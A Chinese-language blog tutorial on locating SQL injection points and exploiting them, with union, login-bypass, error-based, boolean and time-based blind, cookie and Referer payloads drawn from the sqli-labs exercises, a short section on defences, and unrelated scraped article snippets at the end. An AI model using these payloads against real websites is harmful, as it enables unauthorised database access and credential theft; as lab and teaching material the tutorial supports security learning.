SQL注入点判断及注入方式

2023-11-13

SQL注入类型

一,判断注入点

  1. 当参数可控时,看参数是否对数据产生影响,若有影响则可能是注入点。
  2. 输入SQL看是否可以产生报错,通过报错信息得到数据库部分语句。得到报错信息
  3. 利用引号、双引号、圆括号进行报对。

二,注入方式

  1. get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。
?id=1‘order by 3 #判断有几列利用排序报错,超出列数报错。
?id=1' union select 111,222,333 #显示回显点。
?id=1' union select 111,user(),database()#在回显点写上列名
?id=1' union select 111,name,pw from user 
##因为在查询后返回第一行会显示在网页上,所以将id改为一个不存在的参数,目的是为了让我们查询到的信息显示出来,利用limit函数,依次显示后面信息
  1. post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。
#闭合方式
id=1 union
id='1' union
id="1" union
id=((1)) union
id=('1') union
……

一般在登录地方是直接把你所输入的信息直接到数据库中搜索语法基本为:

sql="SELECT* FROM users WHERE name =  '+ userName +' and pw='+password+';
#当我们将用户名填入 : ’ or 1 #  
#SQl语句就会变成:
SELECT* FROM users WHERE name ='' or 1  # ' and pw='+password+' “
#那么总会查出信息登录成功
  1. 报错注入
    利用extractvalue()函数,利用函数查询xml中信息,将SQL语句执行出来,缺点是只能显示32位。
    用法:extractvalue(目标xml文档,xml路径)
    路径是可以修改的,我们将路径修改为非法格式,对非法格式进行报错。
select 1,(extractvalue(1,concat(0x7e,(select user()),0x7e)));
##利用截取函数substr()截取所需要信息

报出用户名

利用updatexml()函数,原理与上一个相同,只是updatexml()有三个参数 updatexml(目标xml文档,xml路径,更新的内容) 同样对路径惊喜非法写入,进行报错。

select 1,(updatexml(1,concat(0x7e,(select user()),0x7e),1));

group by报错
利用统计,对多次排序的列进行报错

select 1,count(1) from information_schema.tables group by concat(floor(rand()*2),database())
#多次点击页面,当产生不同的列时,将会报错
  1. 布尔盲注
    当参数错误时无数据或报错,但不会报出系统错误信息,这时可以选择布尔盲注,通过查询不同的值进行对比,当对比成功返回正确的页面,否则返回参数错误的页面。
?id=1' and 1 
?id=1' and 0  #先判断页面是否发生变化
?id=1' and (select substr(user(),1,1)='b') #判断用户名第一个字节是否为b,使用工具对其余26个字母判断,可先使用length()函数判断有几个字节
  1. 时间盲注
    时间盲注判断场景与布尔盲注大致相同,时间盲注用于无论输入什么值,页面都无变化的场景。
?id=1'and
if((select  ascii(substr(table_name,1,1))  
from information_schema.tables 
where table_schema=database() limit 0,1)>101,sleep(2),0)
#判断表名第一个字符是否大于101,若大于这沉睡2秒,就是2秒后返回页面
#也可以将sleep语句放在外面
?id=1 and sleep(if(select substr(table_name,1,1)  from information_schema.tables 
where table_schema=database() limit 0,1)='m',2,0))
#如果满足则沉睡2秒

6.Cookie注入
有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。
7. Referer注入
Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。
例如某网站SQL语句如下:

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

这里的referer参与了SQL查询
我们修改referer的值,使用抓包工具,通过报错注入,得到所需要的值。例如:

Referer: http://1.1.1.1/sqli-labs/Less-19/' and extractvalue(1,concat(0x7e,user())) and '

通过报错注入得到所需要的信息。

三,sql注入点判断感悟
只要和数据库产生交互的地方就有可能是注入点,有些网站可能是伪静态页面,通过不断点击页面中的URL通过经验感觉是否是注入点。
在检测网站时,最难的就是寻找注入点和闭合方法,现阶段的框架都比较完善,SQL注入危害极大,所以防范性较大,但不排除部分老旧系统和防范意识不高的前端工程师写的网页,因为SQL注入漏洞不属于bug。只要在服务器上判断用户输入的值是否符合要求,对输入的字符有所限制,就可防范SQL注入,或者使用预编译,将用户所输入的一切都当做一个属性,之间在数据库中查询,不再和SQL语句产生闭合。
’ or 1 # 是一个万能钥匙,目前安全防护意识有所提高,但不能保证全部网页有安全验证,在网络资源搜索器中搜索标题为“后台登陆”会发现很多不认真的程序员。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入点判断及注入方式 的相关文章

随机推荐

  • mysql——锁

    三种锁问题 1 丢失修改 火车票问题 让第一个人丢失了修改 2 不可重复读 幻象 第二次读会读到不正确的数据 一个事务读到另一个已提交的事务 3 读 脏 数据 A修改值后又回滚 B读到修改后的值 即脏数据 或者是一个事务读到了另一个事务未提
  • office版本比较

    office LTSC 2021 专业增强版就是简化版的永久版的OFFICE 365罢了 建议还是装365划算 装的什么版本无所谓 激活的时候用的什么许可证才是决定你使用时版本的最终因素 比如装的 office 2021 最后用的2016的
  • ibm多服务器共用显示模块连接,IBM WebSphere 应用服务器多个模块跨站脚本漏洞

    IBM WebSphere 应用服务器多个模块跨站脚本漏洞 受影响系统 IBM Websphere Application Server 7 0 IBM Websphere Application Server 6 1 不受影响系统 IBM
  • 百度地图API取消点击景点弹出框

    有时候我们自己在地图上添加的标注会跟百度地图上面的景点商家标注重合 点击的时候就会弹出景点弹窗 就像这样 我们正常在创建地图的时候都是 var map new BMap Map allmap 创建Map实例 想要禁用百度地图景点弹窗需要添加
  • unity3d 学习笔记_____Native2d 刚体、碰撞器、关节的使用

    Mass Mass of the rigidbody Linear Drag Drag coefficient affecting positional movement Angular Drag Drag coefficient affe
  • [C语言】多种方法求2的n次方

    方法一 循环法 不断地乘以2 循环i次 int main int a i c 1 注意要初始化为1而不是0 scanf d i for a 1 a lt i a c c 2 printf d c return 0 方法二 左移法 一个数它左
  • unity 移动物体到指定位置的四种方法

    方法1 使用Vector3 MoveTowards void Update float step speed Time deltaTime gameObject transform localPosition Vector3 MoveTow
  • intellij idea远程调试

    前景 1 有些时候 调试不得不用外网 比如说做支付宝的支付接口 服务器后台通 知就不得不用外网的ip 无奈 只能扔到服务器远程调试了 2 java后台和app结合开发 app测试出了一些问题 又比较难重现 那么这个时候远程调试就可以派上用场
  • IP地址分类和数据包传输过程用到的协议

    ip地址分类 单播地址 A 0XXX XXXX 0 127 1 126 B10XX XXXX 128 191 C110X XXXX 192 223 组播地址 D1110 XXXX 224 255 私有地址 E1111 XXXX 240 25
  • 生产者与消费者模式(线程的同步与互斥)

    条件变量 条件变量的提出首先要涉及一个概念 就是生产者消费者模型 生产者消费者 是在多线程同步的一个问题 两个固定大小缓冲区的线程 在实际运行是会发生问题 生产者是生成数据放入缓冲区 重复过程 消费者在缓冲区取走数据 生产者消费者的模型提出
  • adapterview android,AdapterView

    AdapterView 版本 Android 2 3 r1 结构 继承关系 public abstract class AdapterView extends ViewGroup java lang Object android view
  • QT构建好的exe在指定目录运行出现找不到dll或者定位不到程序入口点解决方法

    win10系统的话打开这台电脑 然后再系统环境变量中将D QtEnvironment 5 12 3 mingw73 32 bin添加到Path中 并且上移 解决Qt生成exe错误 无法定位程序输入点
  • 五种方法解除开机密码

    5种方法解除开机密码 教你怎样解除电脑开机密码 先记下来 以后总会有用到的 此方法仅供计算机教师交流 严禁作为非法手段使用
  • 生成项目目录树

    写项目设计文档或者在写新项目的README md文件时 都需要展示项目的一些重要的目录结构 其实可以通过安装brew等方法来进行 但是推荐一个插件 vscode中下载插件tree generator 安装完成后打开需要生成的目录结构树的项目
  • 深度学习(6):图像超分辨率(Image Super Resolution)重建

    目标 使用深度学习技术对图像进行超分辨率重建 涉及到的技术包括卷积神经网络 生成对抗网络 残差网络等 技术 本实验使用到 Jupyter Notebook 等开发组件 涉及到了 TensorFlow NumPy scipy misc PIL
  • LeetCode160-------相交链表(java)

    题目中文链接 编写一个程序 找到两个单链表相交的起始节点 例如 下面的两个链表 节点 c1 开始相交 注意 如果两个链表没有交点 返回 null 在返回结果后 两个链表仍须保持原有的结构 可假定整个链表结构中没有循环 程序尽量满足 O n
  • 有哪些期货交易理念(期货交易的概念及主要特征)

    在期货和股票市场里面 什么是交易理念 所谓交易理念 我认为就是你所认为的构建你交易策略的基础 是制定交易系统的逻辑基础 比如 你觉得现在是涨势 那么在回调的时候做多 是一种交易理念 跌势 反弹放空是一种交易理念 震荡市 震荡区间下不开多 上
  • 斐讯r1换网络_新房装修网络布线方案二:客厅电视柜放单个路由器覆盖全屋

    继续研讨新房装修的家庭网络搭建的问题 我昨天推荐的是一个AC AP的方案 如果是小户型 对网络这块要求并不高 比如 并不要求全屋都5G覆盖满的 基于成本考虑 可以先不上AC AP 先用一个性能稍好的千兆路由器 比如 斐讯的K2p 网件R70
  • WinDbg Command-Line Options

    First time users of WinDbg should begin with the Debugger Operation section The WinDbg command line uses the following s
  • SQL注入点判断及注入方式

    SQL注入类型 一 判断注入点 当参数可控时 看参数是否对数据产生影响 若有影响则可能是注入点 输入SQL看是否可以产生报错 通过报错信息得到数据库部分语句 利用引号 双引号 圆括号进行报对 二 注入方式 get注入 在get传参时写入参数